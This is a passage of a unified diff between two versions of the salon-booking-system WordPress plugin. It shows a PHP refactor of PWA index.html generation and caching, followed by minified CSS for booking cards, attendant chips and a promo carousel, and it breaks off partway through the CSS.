'\u002Findex.html',\n                     str_replace(\n-                        '{SLN_PWA_DIST_PATH}',\n-                        $dist_url_path,\n-                        file_get_contents( $sw_map_template )\n+                        array( '{SLN_PWA_DIST_PATH}', '{SLN_PWA_DATA}' ),\n+                        array( $dist_url_path, addslashes( wp_json_encode( $data ) ) ),\n+                        $tpl_index\n                     )\n                 );\n+\n+                set_transient( $cache_key, $dist_url_path, HOUR_IN_SECONDS );\n+                set_transient( $cache_timestamp_key, $template_source_mtime, HOUR_IN_SECONDS );\n             }\n-            \n-            file_put_contents(\n-                $dist_directory_path . '\u002Findex.html', \n-                str_replace(\n-                    array('{SLN_PWA_DIST_PATH}', '{SLN_PWA_DATA}'), \n-                    array($dist_url_path, addslashes(wp_json_encode($data))), \n-                    file_get_contents($dist_directory_path . '\u002Findex.template.html')\n-                )\n-            );\n-            \n-            \u002F\u002F Cache for 1 hour to avoid regenerating on every request\n-            set_transient($cache_key, $dist_url_path, HOUR_IN_SECONDS);\n-            set_transient($cache_timestamp_key, $app_js_mtime, HOUR_IN_SECONDS);\n         }\n \n     ?>\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss\u002F114.css \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss\u002F114.css\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.23\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss\u002F114.css\t2026-03-24 15:29:24.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fsalon-booking-system\u002F10.30.26\u002Fsrc\u002FSLB_PWA\u002Fpwa\u002Fdist\u002Fcss\u002F114.css\t2026-04-21 18:43:56.000000000 +0000\n@@ -1 +1 @@\n-.attendant-chips[data-v-aa131824]{display:flex;gap:12px;overflow-x:auto;padding-bottom:2px;margin-top:12px;margin-bottom:16px;scrollbar-width:none}.attendant-chips[data-v-aa131824]::-webkit-scrollbar{display:none}.attendant-chip[data-v-aa131824]{flex-shrink:0;display:flex;flex-direction:column;align-items:center;gap:4px;background:transparent;border:none;cursor:pointer;padding:0}.attendant-chip[data-v-aa131824]:disabled{opacity:.42;cursor:not-allowed}.attendant-chip--busy:not(:disabled) .attendant-avatar[data-v-aa131824]{animation:assistant-busy-bounce-aa131824 .95s ease-in-out infinite}@keyframes assistant-busy-bounce-aa131824{0%,to{transform:translateY(0)}50%{transform:translateY(-4px)}}@media (prefers-reduced-motion:reduce){.attendant-chip--busy .attendant-avatar[data-v-aa131824]{animation:none}}.attendant-avatar[data-v-aa131824]{width:36px;height:36px;border-radius:50%;background-color:var(--color-background,#f4f6fa);border:2px solid transparent;color:var(--color-text-secondary,#64748b);font-size:12px;font-weight:600;display:flex;align-items:center;justify-content:center;transition:border-color .12s ease;overflow:hidden}.attendant-avatar-img[data-v-aa131824]{width:100%;height:100%;-o-object-fit:cover;object-fit:cover;display:block}.attendant-chip--active .attendant-avatar[data-v-aa131824]{border-color:var(--color-primary,#2563eb);background-color:var(--color-primary-light,#eff6ff);color:var(--color-primary,#2563eb)}.attendant-name[data-v-aa131824]{font-size:10px;font-weight:500;color:var(--color-text-muted,#94a3b8)}.attendant-chip--active .attendant-name[data-v-aa131824]{color:var(--color-primary,#2563eb)}.booking-card[data-v-4803b1e6]{position:relative;display:flex;background-color:var(--color-surface,#fff);border:1px solid var(--color-border,#e2e8f0);border-radius:var(--radius-lg,16px);box-shadow:0 1px 4px rgba(0,0,0,.06);overflow:hidden;cursor:pointer;transition:box-shadow .12s ease}.booking-card[data-v-4803b1e6]:active{box-shadow:0 1px 2px rgba(0,0,0,.04)}.booking-body[data-v-4803b1e6]{flex:1;padding:12px 14px;display:flex;flex-direction:column;gap:6px;min-width:0}.booking-row[data-v-4803b1e6]{display:flex;align-items:center;justify-content:space-between;gap:8px}.booking-row--sub[data-v-4803b1e6]{flex-direction:column;align-items:flex-start;gap:2px}.booking-row--actions[data-v-4803b1e6]{margin-top:4px;padding-top:8px;border-top:1px solid var(--color-border,#e2e8f0);align-items:center}.booking-actions-start[data-v-4803b1e6]{display:flex;align-items:center;gap:4px;flex-shrink:0}.booking-card--no-show .booking-body[data-v-4803b1e6]{background-image:repeating-linear-gradient(45deg,#fff,#fff 10px,#f1f5f9 0,#f1f5f9 20px);background-color:#fff}.no-show-icon[data-v-4803b1e6]{background:transparent;border:none;padding:0;cursor:pointer;display:inline-flex;align-items:center;justify-content:center;transition:all .2s ease}.no-show-icon[data-v-4803b1e6]:disabled{opacity:.6;cursor:not-allowed}.no-show-icon-svg[data-v-4803b1e6]{display:inline-block;width:28px;height:28px;background-color:#2171b1;-webkit-mask-size:22px;mask-size:22px;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-position:center;mask-position:center;-webkit-mask-image:url(\"data:image\u002Fsvg+xml;charset=utf-8,%3Csvg viewBox='0 0 32 32' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M23.778 17.25c0-.862.328-1.689.911-2.298a3.045 3.045 0 0 1 2.2-.952c.825 0 1.616.342 2.2.952.583.61.911 1.436.911 2.298v6.5M26.889 27H5.11a3.045 3.045 0 0 1-2.2-.952A3.325 3.325 0 0 1 2 23.75v-6.5c0-.862.328-1.689.911-2.298a3.045 3.045 0 0 1 2.2-.952c.825 0 1.617.342 2.2.952.583.61.911 1.436.911 2.298v3.25h12.5M5 14V6.5c0-.453.07-.903.21-1.335m3.123-2.97c.448-.13.913-.196 1.381-.195h12.572c1.25 0 2.45.474 3.333 1.318A4.399 4.399 0 0 1 27 6.5V14M7 27v3M25 27v3M2 2l28 28' stroke='%23fff' stroke-width='3' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E\");mask-image:url(\"data:image\u002Fsvg+xml;charset=utf-8,%3Csvg viewBox='0 0 32 32' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M23.778 17.25c0-.862.328-1.689.911-2.298a3.045 3.045 0 0 1 2.2-.952c.825 0 1.616.342 2.2.952.583.61.911 1.436.911 2.298v6.5M26.889 27H5.11a3.045 3.045 0 0 1-2.2-.952A3.325 3.325 0 0 1 2 23.75v-6.5c0-.862.328-1.689.911-2.298a3.045 3.045 0 0 1 2.2-.952c.825 0 1.617.342 2.2.952.583.61.911 1.436.911 2.298v3.25h12.5M5 14V6.5c0-.453.07-.903.21-1.335m3.123-2.97c.448-.13.913-.196 1.381-.195h12.572c1.25 0 2.45.474 3.333 1.318A4.399 4.399 0 0 1 27 6.5V14M7 27v3M25 27v3M2 2l28 28' stroke='%23fff' stroke-width='3' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E\");transition:all .2s ease}.no-show-icon.active .no-show-icon-svg[data-v-4803b1e6]{background-color:#ec1e1e}.no-show-icon:hover:not(:disabled) .no-show-icon-svg[data-v-4803b1e6]{transform:scale(1.1)}.no-show-icon:not(.active):hover:not(:disabled) .no-show-icon-svg[data-v-4803b1e6]{background-color:#1a5a8e}.no-show-icon.active:hover:not(:disabled) .no-show-icon-svg[data-v-4803b1e6]{background-color:#d11a1a}.trash-icon[data-v-4803b1e6]{background:transparent;border:none;padding:0;cursor:pointer;display:inline-flex;align-items:center;justify-content:center;transition:all .2s ease}.trash-icon[data-v-4803b1e6]:disabled{opacity:.6;cursor:not-allowed}.trash-icon-svg[data-v-4803b1e6]{display:inline-block;width:28px;height:28px;background-color:#dc2626;-webkit-mask-size:22px;mask-size:22px;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-position:center;mask-position:center;-webkit-mask-image:url(\"data:image\u002Fsvg+xml;charset=utf-8,%3Csvg viewBox='0 0 29 33' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M1.375 7.75h2.917m0 0h23.333m-23.333 0v20.417a2.917 2.917 0 0 0 2.916 2.917h14.584a2.917 2.917 0 0 0 2.916-2.917V7.75m-16.041 0V4.834a2.917 2.917 0 0 1 2.916-2.917h5.834a2.917 2.917 0 0 1 2.916 2.917V7.75m-8.75 7.292v8.75m5.834-8.75v8.75' stroke='%23fff' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E\");mask-image:url(\"data:image\u002Fsvg+xml;charset=utf-8,%3Csvg viewBox='0 0 29 33' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M1.375 7.75h2.917m0 0h23.333m-23.333 0v20.417a2.917 2.917 0 0 0 2.916 2.917h14.584a2.917 2.917 0 0 0 2.916-2.917V7.75m-16.041 0V4.834a2.917 2.917 0 0 1 2.916-2.917h5.834a2.917 2.917 0 0 1 2.916 2.917V7.75m-8.75 7.292v8.75m5.834-8.75v8.75' stroke='%23fff' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E\");transition:all .2s ease}.trash-icon:hover:not(:disabled) .trash-icon-svg[data-v-4803b1e6]{background-color:#b91c1c;transform:scale(1.1)}.booking-time[data-v-4803b1e6]{font-size:13px;font-weight:600;color:var(--color-text-primary,#0f172a)}.booking-customer[data-v-4803b1e6]{font-size:16px;font-weight:600;color:var(--color-text-primary,#0f172a);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.booking-id[data-v-4803b1e6]{font-size:12px;color:var(--color-text-muted,#94a3b8);flex-shrink:0}.booking-services[data-v-4803b1e6]{font-size:13px;color:var(--color-text-secondary,#64748b)}.booking-attendants[data-v-4803b1e6]{font-size:12px;color:var(--color-text-muted,#94a3b8)}.booking-total[data-v-4803b1e6]{font-size:13px;font-weight:600;color:var(--color-text-secondary,#64748b)}.status-badge[data-v-4803b1e6]{flex-shrink:0;font-size:11px;font-weight:600;padding:3px 10px;border-radius:var(--radius-pill,999px);white-space:nowrap}.action-btn[data-v-4803b1e6]{width:32px;height:32px;border:none;border-radius:50%;background:transparent;cursor:pointer;display:flex;align-items:center;justify-content:center;transition:background-color .12s ease}.action-btn--danger[data-v-4803b1e6]{color:var(--color-text-muted,#94a3b8)}.action-btn--danger[data-v-4803b1e6]:active,.action-btn--danger[data-v-4803b1e6]:hover{background-color:rgba(220,38,38,.08);color:var(--color-error,#dc2626)}.action-right[data-v-4803b1e6]{display:flex;align-items:center;gap:8px}[data-v-4803b1e6] .remaining-amount-payment-link img{width:24px;vertical-align:bottom;cursor:pointer}[data-v-4803b1e6] .remaining-amount-payment-link{margin-right:4px}.delete-backdrop[data-v-4803b1e6]{position:fixed;inset:0;background-color:rgba(15,23,42,.4);z-index:1000000}.delete-confirm[data-v-4803b1e6]{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);width:calc(100% - 48px);max-width:360px;background-color:var(--color-surface,#fff);border-radius:var(--radius-xl,24px);padding:28px 24px 20px;z-index:1000001;text-align:center}.delete-confirm-text[data-v-4803b1e6]{font-size:17px;font-weight:600;color:var(--color-text-primary,#0f172a);margin:0 0 20px}.delete-confirm-btn[data-v-4803b1e6]{display:block;width:100%;padding:13px;background-color:var(--color-error,#dc2626);color:#fff;border:none;border-radius:var(--radius-lg,16px);font-size:15px;font-weight:600;font-family:inherit;cursor:pointer;margin-bottom:12px}.delete-confirm-cancel[data-v-4803b1e6]{display:block;width:100%;padding:10px;background:transparent;border:none;font-size:15px;color:var(--color-text-secondary,#64748b);font-family:inherit;cursor:pointer}.upcoming-promo-carousel[data-v-71783f76]{--promo-brand:#2171b1;--promo-surface:#eeeeef;--promo-text:#2d2d2d;--promo-border:rgba(45,45,45,.12);margin-top:24px;padding:18px 0 20px;border-top:1px solid var(--promo-border);flex-shrink:0;position:relative;z-index:1}.upcoming-promo-carousel__title[data-v-71783f76]{font-size:15px;font-weight:700;color:var(--promo-brand);margin:0 0 14px;letter-spacing:.01em}.upcoming-promo-carousel__track[data-v-71783f76]{display:flex;gap:12px;overflow-x:auto;overflow-y:hidden;padding:4px 4px 16px 2px;margin:0 -4px 0 -2px;scroll-snap-type:x mandatory;scroll-padding-left:2px;-webkit-overflow-scrolling:touch;scrollbar-width:thin;overscroll-behavior-x:contain}.upcoming-promo-carousel__track[data-v-71783f76]::-webkit-scrollbar{height:4px}.upcoming-promo-carousel__track[data-v-71783f76]::-webkit-scrollbar-thumb{background:var(--promo-brand);border-radius:4px}.upcoming-promo-carousel__card[data-v-71783f76]{flex:0 0 min(82vw,272px);max-width:272px;scroll-snap-align:start;background:var(--promo-surface);border:1px solid var(--promo-border);border-radius:var(--radius-lg,16px);padding:14px 14px 16px;display:flex;flex-direction:column;gap:8px;min-height:11rem}.upcoming-promo-carousel__card--license[data-v-71783f76]{background:var(--promo-surface);border:2px solid var(--promo-brand)}.upcoming-promo-carousel__card--license.upcoming-promo-carousel__card--dummy[data-v-71783f76]{background:var(--promo-surface);border:2px dashed var(--promo-brand)}.upcoming-promo-carousel__card--dummy[data-v-71783f76]{border-style:dashed;border-color:var(--promo-border);background:var(--promo-surface)}.upcoming-promo-carousel__card--dummy .upcoming-promo-carousel__card-icon[data-v-71783f76]{background:transparent;color:var(--promo-brand)}.upcoming-promo-carousel__card-top[data-v-71783f76]{display:flex;flex-direction:row;align-items:flex-start;justify-content:space-between;gap:10px}.upcoming-promo-carousel__card-icon[data-v-71783f76]{flex-shrink:0;width:40px;height:40px;border-radius:12px;background:transparent;color:var(--promo-brand);display:flex;align-items:center;justify-content:center;font-size:18px}.upcoming-promo-carousel__category-pill[data-v-71783f76]{flex-shrink:1;min-width:0;align-self:center;max-width:100%;padding:4px 10px;border-radius:999px;font-size:11px;font-weight:600;line-height:1.2;letter-spacing:.02em;color:var(--promo-text);background:#fff;border:1px solid var(--promo-brand);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.upcoming-promo-carousel__card-title[data-v-71783f76]{font-size:15px;font-weight:600;color:var(--promo-brand);margin:0;line-height:1.25}.upcoming-promo-carousel__card-body[data-v-71783f76]{font-size:13px;line-height:1.45;color:var(--promo-text);margin:0;flex:1}.upcoming-promo-carousel__card-link[data-v-71783f76]{font-size:13px;font-weight:600;color:var(--promo-brand);text-decoration:none;margin-top:auto;padding-top:4px}.upcoming-promo-carousel__card-link[data-v-71783f76]:focus,.upcoming-promo-carousel__card-link[data-v-71783f76]:hover{color:var(--promo-brand);text-decoration:underline;text-underline-offset:2px}.upcoming-screen[data-v-f09f4890]{padding-top:4px}.screen-header[data-v-f09f4890]{display:flex;align-items:center;justify-content:space-between;padding:16px 0 8px;flex-shrink:0}.screen-title[data-v-f09f4890]{font-size:22px;font-weight:700;color:var(--color-text-primary,#0f172a);margin:0}.screen-subtitle[data-v-f09f4890]{font-size:16px;font-weight:500;color:var(--color-text-secondary,#64748b)}.screen-subtitle--warning[data-v-f09f4890]{color:var(--color-warning,#f59e0b);font-style:italic}.header-icon-btn[data-v-f09f4890]{width:40px;height:40px;border-radius:50%;border:none;background:transparent;color:var(--color-text-secondary,#64748b);font-size:20px;display:flex;align-items:center;justify-content:center;cursor:pointer;transition:background-color .12s ease}.header-icon-btn[data-v-f09f4890]:active{background-color:var(--color-border,#e2e8f0)}.search-bar[data-v-f09f4890]{position:relative;margin-bottom:12px}.search-bar-icon[data-v-f09f4890]{position:absolute;left:14px;top:50%;transform:translateY(-50%);color:var(--color-text-muted,#94a3b8);font-size:15px;pointer-events:none}.search-bar-input[data-v-f09f4890]{width:100%;padding:10px 40px 10px 40px;border-radius:var(--radius-pill,999px);border:1px solid var(--color-border,#e2e8f0);background-color:var(--color-surface,#fff);font-size:15px;font-family:inherit;color:var(--color-text-primary,#0f172a);outline:none}.search-bar-input[data-v-f09f4890]::-moz-placeholder{color:var(--color-text-muted,#94a3b8)}.search-bar-input[data-v-f09f4890]::placeholder{color:var(--color-text-muted,#94a3b8)}.search-bar-input[data-v-f09f4890]:focus{border-color:var(--color-primary,#2563eb);box-shadow:0 0 0 3px rgba(37,99,235,.1)}.search-bar-clear[data-v-f09f4890]{position:absolute;right:14px;top:50%;transform:translateY(-50%);color:var(--color-text-muted,#94a3b8);cursor:pointer;font-size:15px}.filter-chips[data-v-f09f4890]{display:flex;gap:8px;overflow-x:auto;padding-bottom:2px;margin-bottom:10px;scrollbar-width:none}.filter-chips[data-v-f09f4890]::-webkit-scrollbar{display:none}.chip[data-v-f09f4890]{flex-shrink:0;padding:6px 16px;border-radius:var(--radius-pill,999px);border:1px solid var(--color-border,#e2e8f0);background-color:var(--color-background,#f4f6fa);color:var(--color-text-secondary,#64748b);font-size:13px;font-weight:500;font-family:inherit;cursor:pointer;transition:all .12s ease;white-space:nowrap}.chip--active[data-v-f09f4890]{background-color:var(--color-primary,#2563eb);border-color:var(--color-primary,#2563eb);color:#fff}.upcoming-bookings-and-promo[data-v-f09f4890]{min-height:0;max-height:calc(100vh - 168px);max-height:calc(100dvh - 168px);overflow-y:auto;overflow-x:hidden;-webkit-overflow-scrolling:touch;overscroll-behavior-y:contain;padding-bottom:calc(env(safe-area-inset-bottom, 0px) + 100px)}.bookings-scroll-region[data-v-f09f4890]{min-height:0}.bookings-list.bookings-list--stacked[data-v-f09f4890]{display:flex;flex-direction:column;gap:10px;padding-bottom:8px}.loading-center[data-v-f09f4890]{display:flex;justify-content:center;padding:40px 0}.empty-state[data-v-f09f4890]{text-align:center;padding:60px 24px 24px}.empty-state-icon[data-v-f09f4890]{font-size:48px;color:var(--color-text-muted,#94a3b8);margin-bottom:16px}.empty-state-title[data-v-f09f4890]{font-size:17px;font-weight:600;color:var(--color-text-primary,#0f172a);margin:0 0 6px}.empty-state-sub[data-v-f09f4890]{font-size:14px;color:var(--color-text-secondary,#64748b);margin:0}.screen-wrapper[data-v-8ee5b09e]{min-height:100vh;background:var(--color-background,#f4f6fa)}.screen-header[data-v-8ee5b09e]{display:flex;align-items:center;padding:12px var(--spacing-page,16px);position:sticky;top:0;z-index:10}.back-btn[data-v-8ee5b09e]{background:none;border:none;padding:6px 8px;color:var(--color-text-primary,#0f172a);font-size:18px;cursor:pointer;min-width:40px;min-height:40px;display:flex;align-items:center;justify-content:center;border-radius:50%;transition:background .15s}.back-btn[data-v-8ee5b09e]:hover{background:rgba(0,0,0,.06)}.back-btn-placeholder[data-v-8ee5b09e]{min-width:40px}.screen-title[data-v-8ee5b09e]{flex:1;text-align:center;font-size:17px;font-weight:600;color:var(--color-text-primary,#0f172a);margin:0}\n\\ No newline at end of file\n+.attendant-chips[data-v-aa131824]{display:flex;gap:12px;overflow-x:auto;padding-bottom:2px;margin-top:12px;margin-bottom:16px;scrollbar-width:none}.attendant-chips[data-v-aa131824]::-webkit-scrollbar{display:none}.attendant-chip[data-v-aa131824]{flex-shrink:0;display:flex;flex-direction:column;align-items:center;gap:4px;background:transparent;border:none;cursor:pointer;padding:0}.attendant-chip[data-v-aa131824]:disabled{opacity:.42;cursor:not-allowed}.attendant-chip--busy:not(:disabled) .attendant-avatar[data-v-aa131824]{animation:assistant-busy-bounce-aa131824 .95s ease-in-out infinite}@keyframes assistant-busy-bounce-aa131824{0%,to{transform:translateY(0)}50%{transform:translateY(-4px)}}@media (prefers-reduced-motion:reduce){.attendant-chip--busy .attendant-avatar[data-v-aa131824]{animation:none}}.attendant-avatar[data-v-aa131824]{width:36px;height:36px;border-radius:50%;background-color:var(--color-background,#f4f6fa);border:2px solid transparent;color:var(--color-text-secondary,#64748b);font-size:12px;font-weight:600;display:flex;align-items:center;justify-content:center;transition:border-color .12s ease;overflow:hidden}.attendant-avatar-img[data-v-aa131824]{width:100%;height:100%;-o-object-fit:cover;object-fit:cover;display:block}.attendant-chip--active .attendant-avatar[data-v-aa131824]{border-color:var(--color-primary,#2563eb);background-color:var(--color-primary-light,#eff6ff);color:var(--color-primary,#2563eb)}.attendant-name[data-v-aa131824]{font-size:10px;font-weight:500;color:var(--color-text-muted,#94a3b8)}.attendant-chip--active .attendant-name[data-v-aa131824]{color:var(--color-primary,#2563eb)}.booking-card[data-v-4803b1e6]{position:relative;display:flex;background-color:var(--color-surface,#fff);border:1px solid var(--color-border,#e2e8f0);border-radius:var(--radius-lg,16px);box-shadow:0 1px 4px rgba(0,0,0,.06);overflow:hidden;cursor:pointer;transition:box-shadow .12s ease}.booking-card[data-v-4803b1e6]:active{box-shadow:0 1px 2px rgba(0,0,0,.04)}.booking-body[data-v-4803b1e6]{flex:1;padding:12px 14px;display:flex;flex-direction:column;gap:6px;min-width:0}.booking-row[data-v-4803b1e6]{display:flex;align-items:center;justify-content:space-between;gap:8px}.booking-row--sub[data-v-4803b1e6]{flex-direction:column;align-items:flex-start;gap:2px}.booking-row--actions[data-v-4803b1e6]{margin-top:4px;padding-top:8px;border-top:1px solid var(--color-border,#e2e8f0);align-items:center}.booking-actions-start[data-v-4803b1e6]{display:flex;align-items:center;gap:4px;flex-shrink:0}.booking-card--no-show .booking-body[data-v-4803b1e6]{background-image:repeating-linear-gradient(45deg,#fff,#fff 10px,#f1f5f9 0,#f1f5f9 20px);background-color:#fff}.no-show-icon[data-v-4803b1e6]{background:transparent;border:none;padding:0;cursor:pointer;display:inline-flex;align-items:center;justify-content:center;transition:all .2s ease}.no-show-icon[data-v-4803b1e6]:disabled{opacity:.6;cursor:not-allowed}.no-show-icon-svg[data-v-4803b1e6]{display:inline-block;width:28px;height:28px;background-color:#2171b1;-webkit-mask-size:22px;mask-size:22px;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-position:center;mask-position:center;-webkit-mask-image:url(\"data:image\u002Fsvg+xml;charset=utf-8,%3Csvg viewBox='0 0 32 32' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M23.778 17.25c0-.862.328-1.689.911-2.298a3.045 3.045 0 0 1 2.2-.952c.825 0 1.616.342 2.2.952.583.61.911 1.436.911 2.298v6.5M26.889 27H5.11a3.045 3.045 0 0 1-2.2-.952A3.325 3.325 0 0 1 2 23.75v-6.5c0-.862.328-1.689.911-2.298a3.045 3.045 0 0 1 2.2-.952c.825 0 1.617.342 2.2.952.583.61.911 1.436.911 2.298v3.25h12.5M5 14V6.5c0-.453.07-.903.21-1.335m3.123-2.97c.448-.13.913-.196 1.381-.195h12.572c1.25 0 2.45.474 3.333 1.318A4.399 4.399 0 0 1 27 6.5V14M7 27v3M25 27v3M2 2l28 28' stroke='%23fff' stroke-width='3' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E\");mask-image:url(\"data:image\u002Fsvg+xml;charset=utf-8,%3Csvg viewBox='0 0 32 32' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M23.778 17.25c0-.862.328-1.689.911-2.298a3.045 3.045 0 0 1 2.2-.952c.825 0 1.616.342 2.2.952.583.61.911 1.436.911 2.298v6.5M26.889 27H5.11a3.045 3.045 0 0 1-2.2-.952A3.325 3.325 0 0 1 2 23.75v-6.5c0-.862.328-1.689.911-2.298a3.045 3.045 0 0 1 2.2-.952c.825 0 1.617.342 2.2.952.583.61.911 1.436.911 2.298v3.25h12.5M5 14V6.5c0-.453.07-.903.21-1.335m3.123-2.97c.448-.13.913-.196 1.381-.195h12.572c1.25 0 2.45.474 3.333 1.318A4.399 4.399 0 0 1 27 6.5V14M7 27v3M25 27v3M2 2l28 28' stroke='%23fff' stroke-width='3' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E\");transition:all .2s ease}.no-show-icon.active .no-show-icon-svg[data-v-4803b1e6]{background-color:#ec1e1e}.no-show-icon:hover:not(:disabled) .no-show-icon-svg[data-v-4803b1e6]{transform:scale(1.1)}.no-show-icon:not(.active):hover:not(:disabled) .no-show-icon-svg[data-v-4803b1e6]{background-color:#1a5a8e}.no-show-icon.active:hover:not(:disabled) .no-show-icon-svg[data-v-4803b1e6]{background-color:#d11a1a}.trash-icon[data-v-4803b1e6]{background:transparent;border:none;padding:0;cursor:pointer;display:inline-flex;align-items:center;justify-content:center;transition:all .2s ease}.trash-icon[data-v-4803b1e6]:disabled{opacity:.6;cursor:not-allowed}.trash-icon-svg[data-v-4803b1e6]{display:inline-block;width:28px;height:28px;background-color:#dc2626;-webkit-mask-size:22px;mask-size:22px;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-position:center;mask-position:center;-webkit-mask-image:url(\"data:image\u002Fsvg+xml;charset=utf-8,%3Csvg viewBox='0 0 29 33' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M1.375 7.75h2.917m0 0h23.333m-23.333 0v20.417a2.917 2.917 0 0 0 2.916 2.917h14.584a2.917 2.917 0 0 0 2.916-2.917V7.75m-16.041 0V4.834a2.917 2.917 0 0 1 2.916-2.917h5.834a2.917 2.917 0 0 1 2.916 2.917V7.75m-8.75 7.292v8.75m5.834-8.75v8.75' stroke='%23fff' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E\");mask-image:url(\"data:image\u002Fsvg+xml;charset=utf-8,%3Csvg viewBox='0 0 29 33' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Cpath d='M1.375 7.75h2.917m0 0h23.333m-23.333 0v20.417a2.917 2.917 0 0 0 2.916 2.917h14.584a2.917 2.917 0 0 0 2.916-2.917V7.75m-16.041 0V4.834a2.917 2.917 0 0 1 2.916-2.917h5.834a2.917 2.917 0 0 1 2.916 2.917V7.75m-8.75 7.292v8.75m5.834-8.75v8.75' stroke='%23fff' stroke-width='2' stroke-linecap='round' stroke-linejoin='round'\u002F%3E%3C\u002Fsvg%3E\");transition:all .2s ease}.trash-icon:hover:not(:disabled) .trash-icon-svg[data-v-4803b1e6]{background-color:#b91c1c;transform:scale(1.1)}.booking-time[data-v-4803b1e6]{font-size:13px;font-weight:600;color:var(--color-text-primary,#0f172a)}.booking-customer[data-v-4803b1e6]{font-size:16px;font-weight:600;color:var(--color-text-primary,#0f172a);white-space:nowrap;overflow:hidden;text-overflow:ellipsis}.booking-id[data-v-4803b1e6]{font-size:12px;color:var(--color-text-muted,#94a3b8);flex-shrink:0}.booking-services[data-v-4803b1e6]{font-size:13px;color:var(--color-text-secondary,#64748b)}.booking-attendants[data-v-4803b1e6]{font-size:12px;color:var(--color-text-muted,#94a3b8)}.booking-total[data-v-4803b1e6]{font-size:13px;font-weight:600;color:var(--color-text-secondary,#64748b)}.status-badge[data-v-4803b1e6]{flex-shrink:0;font-size:11px;font-weight:600;padding:3px 10px;border-radius:var(--radius-pill,999px);white-space:nowrap}.action-btn[data-v-4803b1e6]{width:32px;height:32px;border:none;border-radius:50%;background:transparent;cursor:pointer;display:flex;align-items:center;justify-content:center;transition:background-color .12s ease}.action-btn--danger[data-v-4803b1e6]{color:var(--color-text-muted,#94a3b8)}.action-btn--danger[data-v-4803b1e6]:active,.action-btn--danger[data-v-4803b1e6]:hover{background-color:rgba(220,38,38,.08);color:var(--color-error,#dc2626)}.action-right[data-v-4803b1e6]{display:flex;align-items:center;gap:8px}[data-v-4803b1e6] .remaining-amount-payment-link img{width:24px;vertical-align:bottom;cursor:pointer}[data-v-4803b1e6] .remaining-amount-payment-link{margin-right:4px}.delete-backdrop[data-v-4803b1e6]{position:fixed;inset:0;background-color:rgba(15,23,42,.4);z-index:1000000}.delete-confirm[data-v-4803b1e6]{position:fixed;top:50%;left:50%;transform:translate(-50%,-50%);width:calc(100% - 48px);max-width:360px;background-color:var(--color-surface,#fff);border-radius:var(--radius-xl,24px);padding:28px 24px 20px;z-index:1000001;text-align:center}.delete-confirm-text[data-v-4803b1e6]{font-size:17px;font-weight:600;color:var(--color-text-primary,#0f172a);margin:0 0 20px}.delete-confirm-btn[data-v-4803b1e6]{display:block;width:100%;padding:13px;background-color:var(--color-error,#dc2626);color:#fff;border:none;border-radius:var(--radius-lg,16px);font-size:15px;font-weight:600;font-family:inherit;cursor:pointer;margin-bottom:12px}.delete-confirm-cancel[data-v-4803b1e6]{display:block;width:100%;padding:10px;background:transparent;border:none;font-size:15px;color:var(--color-text-secondary,#64748b);font-family:inherit;cursor:pointer}.upcoming-promo-carousel[data-v-71783f76]{--promo-brand:#2171b1;--promo-surface:#eeeeef;--promo-text:#2d2d2d;--promo-border:rgba(45,45,45,.12);margin-top:24px;padding:18px 0 20px;border-top:1px solid var(--promo-border);flex-shrink:0;position:relative;z-index:1}.upcoming-promo-carousel__title[data-v-71783f76]{font-size:15px;font-weight:700;color:var(--promo-brand);margin:0 0 14px;letter-spacing:.01em}.upcoming-promo-carousel__track[data-v-71783f76]{display:flex;gap:12px;overflow-x:auto;overflow-y:hidden;padding:4px 4px 16px 2px;margin:0 -4px 0 -2px;scroll-snap-type:x mandatory;scroll-padding-left:2px;-webkit-overflow-scrolling:touch;scrollbar-width:thin;overscroll-behavior-x:contain}.upcoming-promo-carousel__track[data-v-71783f76]::-webkit-scrollbar{height:4px}.upcoming-promo-carousel__track[data-v-71783f76]::-webkit-scrollbar-thumb{background:var(--promo-brand);border-radius:4px}.upcoming-promo-carousel__card[data-v-71783f76]{flex:0 0 min(82vw,272px);max-width:272px;scroll-snap-align:start;background:var(--promo-surface);border:1px solid 